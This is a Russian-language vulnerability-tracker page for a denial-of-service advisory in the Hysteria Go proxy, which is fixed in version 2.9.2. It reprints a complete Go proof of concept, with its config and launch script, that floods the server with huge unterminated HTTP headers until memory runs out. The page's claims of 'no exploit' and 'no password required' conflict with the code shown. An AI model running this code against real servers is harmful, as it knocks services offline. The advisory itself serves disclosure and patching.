Перейти к содержимому
Noroxi
Рекомендация экосистемы OSV

GHSA-jqc5-2p7q-fqfc: Hysteria: http large header with sniff cause server DoS

ВысокаяCVSS 7.5 · v3.1—Эксплойта нет Есть исправление

Оценка Noroxi

Приоритет: Наблюдать (оценка срочности 30/100)

  • В отслеживаемых источниках (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) нет публичного эксплойта или записей об эксплуатации.
  • Может быть вызвана любым, у кого есть доступ через интернет. Учётная запись или пароль не требуются. Действия пользователя не требуются. Особые условия не требуются; воспроизводится стабильно.
  • Исправленная версия: github.com/apernet/hysteria (Go) 2.9.2.

Пока низкий приоритет. Обновитесь до github.com/apernet/hysteria (Go) 2.9.2 или новее.

Формируется автоматически по данным записи: CVSS (NVD и CNA), CISA KEV и SSVC, FIRST EPSS, источники эксплойтов, исправленные версии. Как мы считаем

Первоисточники: OSV

### Summary Sending an excessively large header by an attacker could lead to a server-side DoS attack. ### Details The current sniff implementation does not explicitly specify the upper limit for HTTP headers. Attackers can continuously send excessively large headers without including \r\n\r\n, leading to ServerDoS and OutOfMemory errors. ### PoC server.yaml ``` listen: 127.0.0.1:8443 tls: cert: poc_server.crt key: poc_server.key auth: type: password password: sniff-poc-password sniff: enable: true timeout: 10s rewriteDomain: false tcpPorts: 80 masquerade: type: string string: content: nope statusCode: 404 ``` poc.sh ``` #!/bin/bash go build poc_sniff_http_dos.go ./poc_sniff_http_dos \ --server 127.0.0.1:8443 \ --auth sniff-poc-password \ --insecure \ --target-host 192.0.2.1 \ --target-port 80 \ --connections 16 \ --header-bytes 838860800 \ --linger 12 ``` poc.go ``` //go:build poc package main import ( "crypto/sha256" "crypto/x509" "encoding/hex" "errors" "flag" "fmt" "net" "strings" "sync" "time" coreclient "github.com/apernet/hysteria/core/v2/client" "github.com/apernet/hysteria/extras/v2/obfs" ) type attackConnFactory struct { obfuscator obfs.Obfuscator } func (f *attackConnFactory) New(_ net.Addr) (net.PacketConn, error) { conn, err := net.ListenUDP("udp", nil) if err != nil { return nil, err } if f.obfuscator == nil { return conn, nil } return obfs.WrapPacketConn(conn, f.obfuscator), nil } func buildHeaderPayload(totalBytes, chunkSize int) []byte { prefix := []byte("GET / HTTP/1.1\r\nHost: victim\r\nUser-Agent: hy2-sniff-poc\r\n") if totalBytes <= len(prefix) { return prefix[:totalBytes] } out := make([]byte, 0, totalBytes) out = append(out, prefix...) linePayload := chunkSize - 32 if linePayload < 64 { linePayload = 64 } for i := 0; len(out) < totalBytes; i++ { line := fmt.Sprintf("X-Fill-%06d: %s\r\n", i, strings.Repeat("A", linePayload)) remain := totalBytes - len(out) if len(line) > remain { line = line[:remain] } out = append(out, line...) } // 故意不追加最后一个空行 \r\n,迫使服务端在 sniff timeout 内持续读 header。 return out } func makeClient(server, auth, sni string, insecure bool, pinSHA256, salamanderPSK string) (coreclient.Client, error) { serverAddr, err := net.ResolveUDPAddr("udp", server) if err != nil { return nil, err } cfg := &coreclient.Config{ ConnFactory: &attackConnFactory{}, ServerAddr: serverAddr, Auth: auth, TLSConfig: coreclient.TLSConfig{ InsecureSkipVerify: insecure, }, } host, _, err := net.SplitHostPort(server) if err == nil && sni == "" && net.ParseIP(host) == nil { cfg.TLSConfig.ServerName = host } if sni != "" { cfg.TLSConfig.ServerName = sni } if pinSHA256 != "" { nHash := strings.ToLower(strings.ReplaceAll(pinSHA256, ":", "")) cfg.TLSConfig.VerifyPeerCertificate = func(rawCerts [][]byte, _ [][]*x509.Certificate) error { if len(rawCerts) == 0 { return errors.New("no peer certificate") } h := sha256.Sum256(rawCerts[0]) if hex.EncodeToString(h[:]) == nHash { return nil } return errors.New("no certificate matches the pinned hash") } } if salamanderPSK != "" { ob, err := obfs.NewSalamanderObfuscator([]byte(salamanderPSK)) if err != nil { return nil, err } cfg.ConnFactory = &attackConnFactory{obfuscator: ob} } c, _, err := coreclient.NewClient(cfg) return c, err } func worker(id int, c coreclient.Client, target string, payload []byte, sendChunk int, linger time.Duration, results []string) { conn, err := c.TCP(target) if err != nil { results[id] = fmt.Sprintf("worker=%d dial error=%v", id, err) return } defer conn.Close() _ = conn.SetWriteDeadline(time.Now().Add(linger)) sent := 0 for sent < len(payload) { end := sent + sendChunk if end > len(payload) { end = len(payload) } n, err := conn.Write(payload[sent:end]) if err != nil { results[id] = fmt.Sprintf("worker=%d partial_sent=%d error=%v", id, sent, err) return } sent += n } time.Sleep(linger) results[id] = fmt.Sprintf("worker=%d sent=%d", id, sent) } func main() { server := flag.String("server", "", "Hysteria server address, e.g. 1.2.3.4:443") auth := flag.String("auth", "", "Hysteria auth string/password") sni := flag.String("sni", "", "optional TLS SNI") insecure := flag.Bool("insecure", false, "skip TLS verification") pinSHA256 := flag.String("pin-sha256", "", "optional pinned server cert SHA256") salamanderPSK := flag.String("obfs-salamander-password", "", "optional salamander obfs password") targetHost := flag.String("target-host", "192.0.2.1", "must usually be an IP so sniff.Check() runs when rewriteDomain=false") targetPort := flag.Int("target-port", 80, "target port that should be covered by server sniff.tcpPorts") connections := flag.Int("connections", 16, "number of concurrent Hysteria TCP streams") headerBytes := flag.Int("header-bytes", 8*1024*1024, "bytes of incomplete HTTP header per stream") buildChunk := flag.Int("build-chunk", 8192, "approximate size of generated filler header lines") sendChunk := flag.Int("send-chunk", 64*1024, "bytes written per conn.Write call") lingerSec := flag.Float64("linger", 12, "seconds to keep each stream open after writing") flag.Parse() if *server == "" || *auth == "" { panic("--server and --auth are required") } if !*insecure && *pinSHA256 == "" { panic("provide one of: --insecure / --pin-sha256") } payload := buildHeaderPayload(*headerBytes, *buildChunk) target := net.JoinHostPort(*targetHost, fmt.Sprintf("%d", *targetPort)) linger := time.Duration(*lingerSec * float64(time.Second)) fmt.Printf("[*] server=%s target=%s streams=%d payload=%d\n", *server, target, *connections, len(payload)) c, err := makeClient(*server, *auth, *sni, *insecure, *pinSHA256, *salamanderPSK) if err != nil { panic(err) } defer c.Close() results := make([]string, *connections) var wg sync.WaitGroup start := time.Now() for i := 0; i < *connections; i++ { wg.Add(1) go func(i int) { defer wg.Done() worker(i, c, target, payload, *sendChunk, linger, results) }(i) } wg.Wait() fmt.Printf("[*] elapsed=%s\n", time.Since(start).Round(time.Millisecond)) for _, line := range results { fmt.Printf(" %s\n", line) } fmt.Println("[+] sent incomplete oversized HTTP headers; check server-side memory / stability") } ``` ### Impact Testing showed that the server side used a maximum of 16GB. Server memory DoS and may cause OOM.

Опубликовано
26 июн. 2026 г.
Обновлено
7 июл. 2026 г.
EPSS
—

Инструменты для отчёта

JSON

Оценка срочности

30

Наблюдать

Пока низкий приоритет.

CVSS
30 / 40 · 7.5 / 10
CISA KEV
0 / 30 · Нет в списке
EPSS
0 / 30 · —

Узнайте, когда запись изменится

  • Нет в KEV: эксплуатация в реальных атаках не зафиксирована
  • Публичного эксплойта нет
  • Исправление выпущено

Если что-то из этого изменится, сообщим в ежедневной сводке.

Следить за GHSA-jqc5-2p7q-fqfc

Когда мы напишем

  • когда запись попадёт в CISA KEV
  • когда появится или станет боевым эксплойт
  • когда запись обновится (в том числе исправленная версия)
  • когда EPSS вырастет на 20 пунктов за неделю

Одна сводка в день по почте (06:00 UTC); с вебхуком попадание в KEV и боевые эксплойты — на платных планах раз в 10 минут, на бесплатном раз в час.

С бесплатным аккаунтом также

  • Оповещения о CVE: добавьте свои продукты и версии — новые CVE для них придут вам
  • Мониторинг сайта: 1 сайт, письмо сразу при недоступности
  • Добавьте домен: поддомены и риск захвата проверяются каждую неделю (1 домен)
  • 10 проверок в час в инструментах безопасности, не больше 30 в день (без аккаунта — 3 в день), API-ключ и MCP
  • Все сканирования в одной панели: находки, изменения с прошлого сканирования, отчёт по домену или клиенту (PDF, ссылка для просмотра)
Все бесплатные инструменты

Регистрация по почте · Уже есть аккаунт? Войти

Бесплатный аккаунт, без карты. Отписаться можно в любой момент.

Затронута ли ваша версия? Проверьте

Анализ Noroxi

Что это значит для вашей инфраструктуры?

Оценка выше формируется автоматически по данным записи и не знает вашей среды. Наша команда проверит на ваших системах, действительно ли уязвимость эксплуатируема и какой меры достаточно.

Мы используем этот продукт, нужна помощь

Затронутые системы

Затронута ли ваша версия?

Выберите продукт и введите свою версию. Она сравнивается с диапазонами этой записи прямо в браузере и никуда не отправляется.

ВендорПродукт
Gogithub.com/apernet/hysteria

Затронутые пакеты

Данные OSV и GitHub Advisory: экосистема, пакет и диапазон. Сопоставление SBOM использует эту таблицу.

ЭкосистемаПакетЗатронутый диапазонИсправление
Gogithub.com/apernet/hysteriaс 0—
Gogithub.com/apernet/hysteriaдо 2.9.22.9.2

Тот же продукт

Go: все записи

Другие записи с наивысшей оценкой для того же основного продукта.

  • GHSA-qh5x-rfwf-rvfvHysteria vulnerable to server crash when max_datagram_frame_size very small
    30Наблюдать
  • GO-2026-5807Hysteria vulnerable to server crash when max_datagram_frame_size very small in github.com/apernet/hysteria
    0Наблюдать
  • GO-2026-5813Hysteria: http large header with sniff cause server DoS in github.com/apernet/hysteria
    0Наблюдать

Исправление

На какую версию обновиться

Версии с исправлением по данным вендора, реестров пакетов и Microsoft. Перед обновлением сверьтесь с бюллетенем вендора.

Продукт / пакетИсправленная версияИсточник
Go:github.com/apernet/hysteria2.9.2Реестр пакетов (OSV)

Статус эксплойта

Публичный эксплойт неизвестен

Публичный эксплойт пока не обнаружен. Это не значит, что вы в безопасности, лишь что порог чуть выше.

Контекст для исследователя

Для пентестеров и исследователей: профиль атаки, расхождение оценок, хронология, коммиты исправлений, авторы, кандидаты в варианты и цепочки, охват bug bounty. Всё выводится из имеющихся данных; без кода эксплойтов.

Хронология

От публикации до сегодня: proof of concept, модуль Metasploit, CISA KEV и запись об исправлении. Даты — как сообщают источники.

Кроме публикации датированных событий нет.

Кандидаты в варианты

Тот же продукт, тот же класс уязвимости, в пределах 18 месяцев. Если патч не закрыл первопричину, родственная ошибка здесь.

  • GHSA-qh5x-rfwf-rvfvс разницей 0 дн.Hysteria vulnerable to server crash when max_datagram_frame_size very small
    30Наблюдать

В записи нет: истории EPSS · ссылки на коммит или PR с исправлением · указания авторов находки · публичной программы вознаграждений.

Технические детали

Условия атаки

  • Может быть вызвана любым, у кого есть доступ через интернет.
  • Учётная запись или пароль не требуются.
  • Действия пользователя не требуются.
  • Особые условия не требуются; воспроизводится стабильно.

В случае успеха

Конфиденциальность
нет
Целостность
нет
Доступность
высокое · работа сервиса может быть нарушена
Вектор атаки
Сеть
Сложность атаки
Низкая
Требуемые привилегии
Не требуются
Взаимодействие с пользователем
Не требуется
Область действия
Не изменяется
Влияние на конфиденциальность
Нет
Влияние на целостность
Нет
Влияние на доступность
Высокое

Вектор CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

osv

Источники

Показать все источники (ещё 1)

Рекомендации вендоров и официальные записи. Ссылки на эксплойты/PoC намеренно исключены.

Все записи